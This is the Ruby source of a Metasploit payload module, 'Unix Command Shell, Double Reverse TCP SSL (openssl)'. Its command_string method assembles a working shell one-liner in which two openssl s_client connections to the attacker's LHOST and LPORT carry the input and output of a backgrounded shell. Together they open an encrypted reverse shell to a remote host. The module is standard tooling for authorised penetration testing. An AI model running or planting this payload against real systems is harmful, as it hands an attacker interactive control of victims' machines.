modules/payloads/singles/cmd/unix/reverse_openssl.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 182
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Double Reverse TCP SSL (openssl)',
'Description' => 'Creates an interactive shell through two inbound connections',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_advanced_options(
[
OptString.new('OpenSSLPath', [true, 'The path to the OpenSSL executable', 'openssl']),
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
]
)
end
#
# Constructs the payload
#
def generate(_opts = {})
vprint_good(command_string)
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd =
"#{datastore['ShellPath']} -c '(sleep #{3600+rand(1024)}|" +
"#{datastore['OpenSSLPath']} s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" +
"while : ; do #{datastore['ShellPath']} && break; done 2>&1|" +
"#{datastore['OpenSSLPath']} s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" +
" >/dev/null 2>&1 &)'"
return cmd
end
end